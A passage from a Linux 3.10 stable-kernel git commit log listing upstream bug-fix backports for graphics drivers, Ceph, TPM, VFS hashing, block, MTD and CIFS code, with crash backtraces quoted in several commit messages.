Kroah-Hartman Signed-off-by: Pranav Vashi commit b2fb0d5600b142c80f429ebd5c92cd46fadbc48a Author: Jiri Kosina Date: Thu Aug 7 16:29:53 2014 +0200 drm/i915: read HEAD register back in init_ring_common() to enforce ordering commit ece4a17d237a79f63fbfaf3f724a12b6d500555c upstream. Withtout this, ring initialization fails reliabily during resume with [drm:init_ring_common] *ERROR* render ring initialization failed ctl 0001f001 head ffffff8804 tail 00000000 start 000e4000 This is not a complete fix, but it is verified to make the ring initialization failures during resume much less likely. We were not able to root-cause this bug (likely HW-specific to Gen4 chips) yet. This is therefore used as a ducttape before problem is fully understood and proper fix created, so that people don't suffer from completely unusable systems in the meantime. The discussion and debugging is happening at https://bugs.freedesktop.org/show_bug.cgi?id=76554 Signed-off-by: Jiri Kosina Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db293e807c56c158e762e9c6c604e900e1dc8b8a Author: Alex Deucher Date: Sun Jul 27 23:21:50 2014 -0400 drm/radeon: load the lm63 driver for an lm64 thermal chip. commit 5dc355325b648dc9b4cf3bea4d968de46fd59215 upstream. Looks like the lm63 driver supports the lm64 as well. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92cd3a4941916e80fe6591d7fe74cdebaedf49e4 Author: Tetsuo Handa Date: Sun Aug 3 20:00:40 2014 +0900 drm/ttm: Choose a pool to shrink correctly in ttm_dma_pool_shrink_scan(). commit 46c2df68f03a236b30808bba361f10900c88d95e upstream. We can use "unsigned int" instead of "atomic_t" by updating start_pool variable under _manager->lock. This patch will make it possible to avoid skipping when choosing a pool to shrink in round-robin style, after next patch changes mutex_lock(_manager->lock) to !mutex_trylock(_manager->lork). Signed-off-by: Tetsuo Handa Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13ec93eb9510c9520a93dabeaa3f6e556bde020d Author: Tetsuo Handa Date: Sun Aug 3 19:59:35 2014 +0900 drm/ttm: Fix possible division by 0 in ttm_dma_pool_shrink_scan(). commit 11e504cc705e8ccb06ac93a276e11b5e8fee4d40 upstream. list_empty(&_manager->pools) being false before taking _manager->lock does not guarantee that _manager->npools != 0 after taking _manager->lock because _manager->npools is updated under _manager->lock. Signed-off-by: Tetsuo Handa Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46fc97ee46cd8b8d2fe81a66ed6cfe1d66cb8c5d Author: Guido Martínez Date: Tue Jun 17 11:17:09 2014 -0300 drm/tilcdc: fix double kfree commit c9a3ad25eddfdb898114a9d73cdb4c3472d9dfca upstream. display_timings_release calls kfree on the display_timings object passed to it. Calling kfree after it is wrong. SLUB debug showed the following warning: ============================================================================= BUG kmalloc-64 (Tainted: G W ): Object already free ----------------------------------------------------------------------------- Disabling lock debugging due to kernel taint INFO: Allocated in of_get_display_timings+0x2c/0x214 age=601 cpu=0 pid=884 __slab_alloc.constprop.79+0x2e0/0x33c kmem_cache_alloc+0xac/0xdc of_get_display_timings+0x2c/0x214 panel_probe+0x7c/0x314 [tilcdc] platform_drv_probe+0x18/0x48 [..snip..] INFO: Freed in panel_destroy+0x18/0x3c [tilcdc] age=0 cpu=0 pid=907 __slab_free+0x34/0x330 panel_destroy+0x18/0x3c [tilcdc] tilcdc_unload+0xd0/0x118 [tilcdc] drm_dev_unregister+0x24/0x98 [..snip..] Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4a774b805e23e81b5572b7a087cce7fafa4d64e Author: Guido Martínez Date: Tue Jun 17 11:17:08 2014 -0300 drm/tilcdc: fix release order on exit commit eb565a2bbadc6a5030a6dbe58db1aa52453e7edf upstream. Unregister resources in the correct order on tilcdc_drm_fini, which is the reverse order they were registered during tilcdc_drm_init. This also means unregistering the driver before releasing its resources. Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 59b454b8bf2c445a1cdd31d942b7ef3f8d4201e5 Author: Guido Martínez Date: Tue Jun 17 11:17:07 2014 -0300 drm/tilcdc: panel: fix leak when unloading the module commit 3a49012224ca9016658a831a327ff6a7fe5bb4f9 upstream. The driver did not unregister the allocated framebuffer, which caused memory leaks (and memory manager WARNs) when unloading. Also, the framebuffer device under /dev still existed after unloading. Add a call to drm_fbdev_cma_fini when unloading the module to prevent both issues. Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f37d58edb46eb5f23a10958d2ad8e2949a238491 Author: Guido Martínez Date: Tue Jun 17 11:17:06 2014 -0300 drm/tilcdc: tfp410: fix dangling sysfs connector node commit 16dcbdef404f4e87dab985494381939fe0a2d456 upstream. Add a drm_sysfs_connector_remove call when we destroy the panel to make sure the connector node in sysfs gets deleted. This is required for proper unload and re-load of this driver, otherwise we will get a warning about a duplicate filename in sysfs. Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3bf5d169e5518f21bbeedc34c0d6b0ee2ad2c72e Author: Guido Martínez Date: Tue Jun 17 11:17:05 2014 -0300 drm/tilcdc: slave: fix dangling sysfs connector node commit daa15b4cd1eee58eb1322062a3320b1dbe5dc96e upstream. Add a drm_sysfs_connector_remove call when we destroy the panel to make sure the connector node in sysfs gets deleted. This is required for proper unload and re-load of this driver as a module. Without this, we would get a warning at re-load time like so: tda998x 0-0070: found TDA19988 ------------[ cut here ]------------ WARNING: CPU: 0 PID: 825 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x54/0x74() sysfs: cannot create duplicate filename '/class/drm/card0-HDMI-A-1' Modules linked in: [..] CPU: 0 PID: 825 Comm: modprobe Not tainted 3.15.0-rc4-00027-g9dcdef4 #82 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (warn_slowpath_common+0x68/0x88) [] (warn_slowpath_common) from [] (warn_slowpath_fmt+0x30/0x40) [] (warn_slowpath_fmt) from [] (sysfs_warn_dup+0x54/0x74) [] (sysfs_warn_dup) from [] (sysfs_do_create_link_sd.isra.2+0xb0/0xb8) [] (sysfs_do_create_link_sd.isra.2) from [] (device_add+0x338/0x520) [] (device_add) from [] (device_create_groups_vargs+0xa0/0xc4) [] (device_create_groups_vargs) from [] (device_create+0x24/0x2c) [] (device_create) from [] (drm_sysfs_connector_add+0x64/0x204) [] (drm_sysfs_connector_add) from [] (slave_modeset_init+0x120/0x1bc [tilcdc]) [] (slave_modeset_init [tilcdc]) from [] (tilcdc_load+0x214/0x4c0 [tilcdc]) [] (tilcdc_load [tilcdc]) from [] (drm_dev_register+0xa4/0x104) [..snip..] ---[ end trace 4df8d614936ebdee ]--- [drm:drm_sysfs_connector_add] *ERROR* failed to register connector device: -17 Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce414d15870dd5ec56e2543c303844caa9988944 Author: Guido Martínez Date: Tue Jun 17 11:17:04 2014 -0300 drm/tilcdc: panel: fix dangling sysfs connector node commit e396900e649b0af31161634d87fe37076f46c12b upstream. Add a drm_sysfs_connector_remove call when we destroy the panel to make sure the connector node in sysfs gets deleted. This is required for proper unload and re-load of this driver as a module. Without this, we would get a warning at re-load time like so: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 824 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x54/0x74() sysfs: cannot create duplicate filename '/class/drm/card0-LVDS-1' Modules linked in: [...] CPU: 0 PID: 824 Comm: modprobe Not tainted 3.15.0-rc4-00027-g6484f96-dirty #81 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (warn_slowpath_common+0x68/0x88) [] (warn_slowpath_common) from [] (warn_slowpath_fmt+0x30/0x40) [] (warn_slowpath_fmt) from [] (sysfs_warn_dup+0x54/0x74) [] (sysfs_warn_dup) from [] (sysfs_do_create_link_sd.isra.2+0xb0/0xb8) [] (sysfs_do_create_link_sd.isra.2) from [] (device_add+0x338/0x520) [] (device_add) from [] (device_create_groups_vargs+0xa0/0xc4) [] (device_create_groups_vargs) from [] (device_create+0x24/0x2c) [] (device_create) from [] (drm_sysfs_connector_add+0x64/0x204) [] (drm_sysfs_connector_add) from [] (panel_modeset_init+0xb8/0x134 [tilcdc]) [] (panel_modeset_init [tilcdc]) from [] (tilcdc_load+0x214/0x4c0 [tilcdc]) [] (tilcdc_load [tilcdc]) from [] (drm_dev_register+0xa4/0x104) [ .. snip .. ] ---[ end trace b2d09cd9578b0497 ]--- [drm:drm_sysfs_connector_add] *ERROR* failed to register connector device: -17 Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7515b8dfdfceec1389b222ac2205db77d8c09ea Author: Ronald Wahl Date: Thu Aug 7 14:15:50 2014 +0200 carl9170: fix sending URBs with wrong type when using full-speed commit 671796dd96b6cd85b75fba9d3007bcf7e5f7c309 upstream. The driver assumes that endpoint 4 is always an interrupt endpoint. Unfortunately the type differs between high-speed and full-speed configurations while in the former case it is indeed an interrupt endpoint this is not true for the latter case - here it is a bulk endpoint. When sending URBs with the wrong type the kernel will generate a warning message including backtrace. In this specific case there will be a huge amount of warnings which can bring the system to freeze. To fix this we are now sending URBs to endpoint 4 using the type found in the endpoint descriptor. A side note: The carl9170 firmware currently specifies endpoint 4 as interrupt endpoint even in the full-speed configuration but this has no relevance because before this firmware is loaded the endpoint type is as described above and after the firmware is running the stick is not reenumerated and so the old descriptor is used. Signed-off-by: Ronald Wahl Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f68a79aa6a953b6bef10223ea9bf2e91201e8b1 Author: Jiri Slaby Date: Mon Apr 13 16:41:28 2015 +0200 core, nfqueue, openvswitch: fix compilation warning Stable commit "core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors", upstream commit 36d5fe6a000790f56039afe26834265db0a3ad4c, was not correctly backported and missed to change a const 'from' parameter to non-const. This results in a new batch of warnings: net/netfilter/nfnetlink_queue_core.c: In function ‘nfqnl_zcopy’: net/netfilter/nfnetlink_queue_core.c:272:2: warning: passing argument 1 of ‘skb_orphan_frags’ discards ‘const’ qualifier from pointer target type [enabled by default] if (unlikely(skb_orphan_frags(from, GFP_ATOMIC))) { ^ In file included from net/netfilter/nfnetlink_queue_core.c:18:0: include/linux/skbuff.h:1822:19: note: expected ‘struct sk_buff *’ but argument is of type ‘const struct sk_buff *’ static inline int skb_orphan_frags(struct sk_buff *skb, gfp_t gfp_mask) ^ net/netfilter/nfnetlink_queue_core.c:273:3: warning: passing argument 1 of ‘skb_tx_error’ discards ‘const’ qualifier from pointer target type [enabled by default] skb_tx_error(from); ^ In file included from net/netfilter/nfnetlink_queue_core.c:18:0: include/linux/skbuff.h:630:13: note: expected ‘struct sk_buff *’ but argument is of type ‘const struct sk_buff *’ extern void skb_tx_error(struct sk_buff *skb); Remove const from the 'from' parameter, the same as in the upstream commit. As far as I can see, this leaked into 3.10, 3.12, and 3.13 already. Cc: Zoltan Kiss Cc: David S. Miller Cc: Ben Hutchings Cc: Greg Kroah-Hartman Cc: Kamal Mostafa Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman commit 7ba315ce7e779e6e5c4cebcfdf775c804fc72347 Author: Greg Kroah-Hartman Date: Wed Sep 17 09:04:18 2014 -0700 Linux 3.10.55 Signed-off-by: Pranav Vashi commit 3c5870aee5167b3dc7bbc8cbf28ac3dd226b4eac Author: Sage Weil Date: Mon Aug 4 07:01:54 2014 -0700 libceph: gracefully handle large reply messages from the mon commit 73c3d4812b4c755efeca0140f606f83772a39ce4 upstream. We preallocate a few of the message types we get back from the mon. If we get a larger message than we are expecting, fall back to trying to allocate a new one instead of blindly using the one we have. Signed-off-by: Sage Weil Reviewed-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a180d6861c5faccf81d7803100b290fbc4c86fa3 Author: Ilya Dryomov Date: Thu Jan 9 20:08:21 2014 +0200 libceph: rename ceph_msg::front_max to front_alloc_len commit 3cea4c3071d4e55e9d7356efe9d0ebf92f0c2204 upstream. Rename front_max field of struct ceph_msg to front_alloc_len to make its purpose more clear. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6b2d05abf2ed9fc83fb1004eb6ad9501b9550ee Author: Jason Gunthorpe Date: Wed May 21 18:26:44 2014 -0600 tpm: Provide a generic means to override the chip returned timeouts commit 8e54caf407b98efa05409e1fee0e5381abd2b088 upstream. Some Atmel TPMs provide completely wrong timeouts from their TPM_CAP_PROP_TIS_TIMEOUT query. This patch detects that and returns new correct values via a DID/VID table in the TIS driver. Tested on ARM using an AT97SC3204T FW version 37.16 [PHuewe: without this fix these 'broken' Atmel TPMs won't function on older kernels] Signed-off-by: "Berg, Christopher" Signed-off-by: Jason Gunthorpe Signed-off-by: Peter Huewe [bwh: Backported to 3.10: - Adjust filename, context - s/chip->ops->/chip->vendor./] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ab514e2f5744a686e8ce9aaf2c2995984b9ac5d Author: Linus Torvalds Date: Sat Sep 13 11:30:10 2014 -0700 vfs: fix bad hashing of dentries commit 99d263d4c5b2f541dfacb5391e22e8c91ea982a6 upstream. Josef Bacik found a performance regression between 3.2 and 3.10 and narrowed it down to commit bfcfaa77bdf0 ("vfs: use 'unsigned long' accesses for dcache name comparison and hashing"). He reports: "The test case is essentially for (i = 0; i < 1000000; i++) mkdir("a$i"); On xfs on a fio card this goes at about 20k dir/sec with 3.2, and 12k dir/sec with 3.10. This is because we spend waaaaay more time in __d_lookup on 3.10 than in 3.2. The new hashing function for strings is suboptimal for < sizeof(unsigned long) string names (and hell even > sizeof(unsigned long) string names that I've tested). I broke out the old hashing function and the new one into a userspace helper to get real numbers and this is what I'm getting: Old hash table had 1000000 entries, 0 dupes, 0 max dupes New hash table had 12628 entries, 987372 dupes, 900 max dupes We had 11400 buckets with a p50 of 30 dupes, p90 of 240 dupes, p99 of 567 dupes for the new hash My test does the hash, and then does the d_hash into a integer pointer array the same size as the dentry hash table on my system, and then just increments the value at the address we got to see how many entries we overlap with. As you can see the old hash function ended up with all 1 million entries in their own bucket, whereas the new one they are only distributed among ~12.5k buckets, which is why we're using so much more CPU in __d_lookup". The reason for this hash regression is two-fold: - On 64-bit architectures the down-mixing of the original 64-bit word-at-a-time hash into the final 32-bit hash value is very simplistic and suboptimal, and just adds the two 32-bit parts together. In particular, because there is no bit shuffling and the mixing boundary is also a byte boundary, similar character patterns in the low and high word easily end up just canceling each other out. - the old byte-at-a-time hash mixed each byte into the final hash as it hashed the path component name, resulting in the low bits of the hash generally being a good source of hash data. That is not true for the word-at-a-time case, and the hash data is distributed among all the bits. The fix is the same in both cases: do a better job of mixing the bits up and using as much of the hash data as possible. We already have the "hash_32|64()" functions to do that. Reported-by: Josef Bacik Cc: Al Viro Cc: Christoph Hellwig Cc: Chris Mason Cc: linux-fsdevel@vger.kernel.org Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b82692fb54f31ad9ff08d2553a74245a1d706da9 Author: Al Viro Date: Fri Oct 25 16:41:01 2013 -0400 dcache.c: get rid of pointless macros commit 482db9066199813d6b999b65a3171afdbec040b6 upstream. D_HASH{MASK,BITS} are used once each, both in the same function (d_hash()). At this point they are actively misguiding - they imply that values are compiler constants, which is no longer true. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e2551e3bbdc664c70abd70026ee4a5a55cdb3c9 Author: Bart Van Assche Date: Wed Jul 9 15:57:26 2014 +0200 IB/srp: Fix deadlock between host removal and multipathd commit bcc05910359183b431da92713e98eed478edf83a upstream. If scsi_remove_host() is invoked after a SCSI device has been blocked, if the fast_io_fail_tmo or dev_loss_tmo work gets scheduled on the workqueue executing srp_remove_work() and if an I/O request is scheduled after the SCSI device had been blocked by e.g. multipathd then the following deadlock can occur: kworker/6:1 D ffff880831f3c460 0 195 2 0x00000000 Call Trace: [] schedule+0x29/0x70 [] schedule_timeout+0x10f/0x2a0 [] msleep+0x2f/0x40 [] __blk_drain_queue+0x4e/0x180 [] blk_cleanup_queue+0x225/0x230 [] __scsi_remove_device+0x62/0xe0 [scsi_mod] [] scsi_forget_host+0x6f/0x80 [scsi_mod] [] scsi_remove_host+0x7a/0x130 [scsi_mod] [] srp_remove_work+0x95/0x180 [ib_srp] [] process_one_work+0x1ea/0x6c0 [] worker_thread+0x11b/0x3a0 [] kthread+0xed/0x110 [] ret_from_fork+0x7c/0xb0 multipathd D ffff880096acc460 0 5340 1 0x00000000 Call Trace: [] schedule+0x29/0x70 [] schedule_timeout+0x10f/0x2a0 [] io_schedule_timeout+0x9b/0xf0 [] wait_for_completion_io_timeout+0xdc/0x110 [] blk_execute_rq+0x9b/0x100 [] sg_io+0x1a5/0x450 [] scsi_cmd_ioctl+0x2a1/0x430 [] scsi_cmd_blk_ioctl+0x42/0x50 [] sd_ioctl+0xbe/0x140 [sd_mod] [] blkdev_ioctl+0x234/0x840 [] block_ioctl+0x41/0x50 [] do_vfs_ioctl+0x300/0x520 [] SyS_ioctl+0x41/0x80 [] tracesys+0xd0/0xd5 Fix this by scheduling removal work on another workqueue than the transport layer timers. Signed-off-by: Bart Van Assche Reviewed-by: Sagi Grimberg Reviewed-by: David Dillow Cc: Sebastian Parschauer Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d42b299d302c46b4cc5446957d841c284c21e3db Author: Tejun Heo Date: Sat Jul 5 18:43:21 2014 -0400 blkcg: don't call into policy draining if root_blkg is already gone commit 2a1b4cf2331d92bc009bf94fa02a24604cdaf24c upstream. While a queue is being destroyed, all the blkgs are destroyed and its ->root_blkg pointer is set to NULL. If someone else starts to drain while the queue is in this state, the following oops happens. NULL pointer dereference at 0000000000000028 IP: [] blk_throtl_drain+0x84/0x230 PGD e4a1067 PUD b773067 PMD 0 Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC Modules linked in: cfq_iosched(-) [last unloaded: cfq_iosched] CPU: 1 PID: 537 Comm: bash Not tainted 3.16.0-rc3-work+ #2 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 task: ffff88000e222250 ti: ffff88000efd4000 task.ti: ffff88000efd4000 RIP: 0010:[] [] blk_throtl_drain+0x84/0x230 RSP: 0018:ffff88000efd7bf0 EFLAGS: 00010046 RAX: 0000000000000000 RBX: ffff880015091450 RCX: 0000000000000001 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff88000efd7c10 R08: 0000000000000000 R09: 0000000000000001 R10: ffff88000e222250 R11: 0000000000000000 R12: ffff880015091450 R13: ffff880015092e00 R14: ffff880015091d70 R15: ffff88001508fc28 FS: 00007f1332650740(0000) GS:ffff88001fa80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000028 CR3: 0000000009446000 CR4: 00000000000006e0 Stack: ffffffff8144e8f6 ffff880015091450 0000000000000000 ffff880015091d80 ffff88000efd7c28 ffffffff8144ae2f ffff880015091450 ffff88000efd7c58 ffffffff81427641 ffff880015091450 ffffffff82401f00 ffff880015091450 Call Trace: [] blkcg_drain_queue+0x1f/0x60 [] __blk_drain_queue+0x71/0x180 [] blk_queue_bypass_start+0x6e/0xb0 [] blkcg_deactivate_policy+0x38/0x120 [] blk_throtl_exit+0x34/0x50 [] blkcg_exit_queue+0x35/0x40 [] blk_release_queue+0x26/0xd0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] blk_put_queue+0x15/0x20 [] scsi_device_dev_release_usercontext+0x16b/0x1c0 [] execute_in_process_context+0x89/0xa0 [] scsi_device_dev_release+0x1c/0x20 [] device_release+0x32/0xa0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] put_device+0x17/0x20 [] __scsi_remove_device+0xa9/0xe0 [] scsi_remove_device+0x2b/0x40 [] sdev_store_delete+0x27/0x30 [] dev_attr_store+0x18/0x30 [] sysfs_kf_write+0x3e/0x50 [] kernfs_fop_write+0xe7/0x170 [] vfs_write+0xaf/0x1d0 [] SyS_write+0x4d/0xc0 [] system_call_fastpath+0x16/0x1b 776687bce42b ("block, blk-mq: draining can't be skipped even if bypass_depth was non-zero") made it easier to trigger this bug by making blk_queue_bypass_start() drain even when it loses the first bypass test to blk_cleanup_queue(); however, the bug has always been there even before the commit as blk_queue_bypass_start() could race against queue destruction, win the initial bypass test but perform the actual draining after blk_cleanup_queue() already destroyed all blkgs. Fix it by skippping calling into policy draining if all the blkgs are already gone. Signed-off-by: Tejun Heo Reported-by: Shirish Pargaonkar Reported-by: Sasha Levin Reported-by: Jet Chen Tested-by: Shirish Pargaonkar Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e1d9c7213dc8cd5de6c29d7630c45235424f74d1 Author: Roger Quadros Date: Mon Aug 25 16:15:33 2014 -0700 mtd: nand: omap: Fix 1-bit Hamming code scheme, omap_calculate_ecc() commit 40ddbf5069bd4e11447c0088fc75318e0aac53f0 upstream. commit 65b97cf6b8de introduced in v3.7 caused a regression by using a reversed CS_MASK thus causing omap_calculate_ecc to always fail. As the NAND base driver never checks for .calculate()'s return value, the zeroed ECC values are used as is without showing any error to the user. However, this won't work and the NAND device won't be guarded by any error code. Fix the issue by using the correct mask. Code was tested on omap3beagle using the following procedure - flash the primary bootloader (MLO) from the kernel to the first NAND partition using nandwrite. - boot the board from NAND. This utilizes OMAP ROM loader that relies on 1-bit Hamming code ECC. Fixes: 65b97cf6b8de (mtd: nand: omap2: handle nand on gpmc) Signed-off-by: Roger Quadros Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad9df22cfa85264b859a6c5df51eb01c99aec7e1 Author: Kevin Hao Date: Thu Jul 3 10:35:26 2014 +0800 mtd/ftl: fix the double free of the buffers allocated in build_maps() commit a152056c912db82860a8b4c23d0bd3a5aa89e363 upstream. I got the following panic on my fsl p5020ds board. Unable to handle kernel paging request for data at address 0x7375627379737465 Faulting instruction address: 0xc000000000100778 Oops: Kernel access of bad area, sig: 11 [#1] SMP NR_CPUS=24 CoreNet Generic Modules linked in: CPU: 0 PID: 1 Comm: swapper/0 Not tainted 3.15.0-next-20140613 #145 task: c0000000fe080000 ti: c0000000fe088000 task.ti: c0000000fe088000 NIP: c000000000100778 LR: c00000000010073c CTR: 0000000000000000 REGS: c0000000fe08aa00 TRAP: 0300 Not tainted (3.15.0-next-20140613) MSR: 0000000080029000 CR: 24ad2e24 XER: 00000000 DEAR: 7375627379737465 ESR: 0000000000000000 SOFTE: 1 GPR00: c0000000000c99b0 c0000000fe08ac80 c0000000009598e0 c0000000fe001d80 GPR04: 00000000000000d0 0000000000000913 c000000007902b20 0000000000000000 GPR08: c0000000feaae888 0000000000000000 0000000007091000 0000000000200200 GPR12: 0000000028ad2e28 c00000000fff4000 c0000000007abe08 0000000000000000 GPR16: c0000000007ab160 c0000000007aaf98 c00000000060ba68 c0000000007abda8 GPR20: c0000000007abde8 c0000000feaea6f8 c0000000feaea708 c0000000007abd10 GPR24: c000000000989370 c0000000008c6228 00000000000041ed c0000000fe00a400 GPR28: c00000000017c1cc 00000000000000d0 7375627379737465 c0000000fe001d80 NIP [c000000000100778] .__kmalloc_track_caller+0x70/0x168 LR [c00000000010073c] .__kmalloc_track_caller+0x34/0x168 Call Trace: [c0000000fe08ac80] [c00000000087e6b8] uevent_sock_list+0x0/0x10 (unreliable) [c0000000fe08ad20] [c0000000000c99b0] .kstrdup+0x44/0x90 [c0000000fe08adc0] [c00000000017c1cc] .__kernfs_new_node+0x4c/0x130 [c0000000fe08ae70] [c00000000017d7e4] .kernfs_new_node+0x2c/0x64 [c0000000fe08aef0] [c00000000017db00] .kernfs_create_dir_ns+0x34/0xc8 [c0000000fe08af80] [c00000000018067c] .sysfs_create_dir_ns+0x58/0xcc [c0000000fe08b010] [c0000000002c711c] .kobject_add_internal+0xc8/0x384 [c0000000fe08b0b0] [c0000000002c7644] .kobject_add+0x64/0xc8 [c0000000fe08b140] [c000000000355ebc] .device_add+0x11c/0x654 [c0000000fe08b200] [c0000000002b5988] .add_disk+0x20c/0x4b4 [c0000000fe08b2c0] [c0000000003a21d4] .add_mtd_blktrans_dev+0x340/0x514 [c0000000fe08b350] [c0000000003a3410] .mtdblock_add_mtd+0x74/0xb4 [c0000000fe08b3e0] [c0000000003a32cc] .blktrans_notify_add+0x64/0x94 [c0000000fe08b470] [c00000000039b5b4] .add_mtd_device+0x1d4/0x368 [c0000000fe08b520] [c00000000039b830] .mtd_device_parse_register+0xe8/0x104 [c0000000fe08b5c0] [c0000000003b8408] .of_flash_probe+0x72c/0x734 [c0000000fe08b750] [c00000000035ba40] .platform_drv_probe+0x38/0x84 [c0000000fe08b7d0] [c0000000003599a4] .really_probe+0xa4/0x29c [c0000000fe08b870] [c000000000359d3c] .__driver_attach+0x100/0x104 [c0000000fe08b900] [c00000000035746c] .bus_for_each_dev+0x84/0xe4 [c0000000fe08b9a0] [c0000000003593c0] .driver_attach+0x24/0x38 [c0000000fe08ba10] [c000000000358f24] .bus_add_driver+0x1c8/0x2ac [c0000000fe08bab0] [c00000000035a3a4] .driver_register+0x8c/0x158 [c0000000fe08bb30] [c00000000035b9f4] .__platform_driver_register+0x6c/0x80 [c0000000fe08bba0] [c00000000084e080] .of_flash_driver_init+0x1c/0x30 [c0000000fe08bc10] [c000000000001864] .do_one_initcall+0xbc/0x238 [c0000000fe08bd00] [c00000000082cdc0] .kernel_init_freeable+0x188/0x268 [c0000000fe08bdb0] [c0000000000020a0] .kernel_init+0x1c/0xf7c [c0000000fe08be30] [c000000000000884] .ret_from_kernel_thread+0x58/0xd4 Instruction dump: 41bd0010 480000c8 4bf04eb5 60000000 e94d0028 e93f0000 7cc95214 e8a60008 7fc9502a 2fbe0000 419e00c8 e93f0022 <7f7e482a> 39200000 88ed06b2 992d06b2 ---[ end trace b4c9a94804a42d40 ]--- It seems that the corrupted partition header on my mtd device triggers a bug in the ftl. In function build_maps() it will allocate the buffers needed by the mtd partition, but if something goes wrong such as kmalloc failure, mtd read error or invalid partition header parameter, it will free all allocated buffers and then return non-zero. In my case, it seems that partition header parameter 'NumTransferUnits' is invalid. And the ftl_freepart() is a function which free all the partition buffers allocated by build_maps(). Given the build_maps() is a self cleaning function, so there is no need to invoke this function even if build_maps() return with error. Otherwise it will causes the buffers to be freed twice and then weird things would happen. Signed-off-by: Kevin Hao Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f7efb7199aa068ffc10c023545652ee324e87b4 Author: Pavel Shilovsky Date: Tue Aug 26 19:04:44 2014 +0400 CIFS: Fix wrong restart readdir for SMB1 commit f736906a7669a77cf8cabdcbcf1dc8cb694e12ef upstream. The existing code calls server->ops->close() that is not right. This causes XFS test generic/310 to fail. Fix this by using server->ops->closedir() function. Signed-off-by: Dan Carpenter Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6bf28d85d98816d76c325e3656390bb3de60f229 Author: Pavel Shilovsky Date: Fri Aug 22 13:32:11 2014 +0400 CIFS: Fix wrong filename length for SMB2 commit 1bbe4997b13de903c421c1cc78440e544b5f9064 upstream. The existing code uses the old MAX_NAME constant. This causes XFS test generic/013 to fail. Fix it by replacing MAX_NAME with PATH_MAX that SMB1 uses. Also remove an unused MAX_NAME constant definition. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74a9987656cee9ea3eac67234681f04e5c2657cb Author: Pavel Shilovsky Date: Mon Aug 18 20:49:58 2014 +0400 CIFS: Fix wrong directory attributes after rename commit b46799a8f28c43c5264ac8d8ffa28b311b557e03 upstream. When we requests rename we also need to update attributes of both source and target parent directories. Not doing it causes generic/309 xfstest to fail on SMB2 mounts. Fix this by marking these directories for force revalidating. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 292b073d7dbafe35d3693fd923fc79e0355f03f2 Author: Steve French Date: Sun Aug 17 00:22:24 2014 -0500 CIFS: Possible null ptr deref in SMB2_tcon commit 18f39e7be0121317550d03e267e3ebd4dbfbb3ce upstream. As Raphael Geissert pointed out, tcon_error_exit can dereference tcon and there is one path in which tcon can be null. Signed-off-by: Steve French Reported-by: Raphael Geissert Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 961995c6dec82ddf9fc1330c08724fdba71d35e9 Author: Pavel Shilovsky Date: Fri Jun 27 10:33:11 2014 +0400 CIFS: Fix async reading on reconnects commit 038bc961c31b070269ecd07349a7ee2e839d4fec upstream. If we get into read_into_pages() from cifs_readv_receive() and then loose a network, we issue cifs_reconnect that moves all mids to a private list and issue their callbacks. The callback of 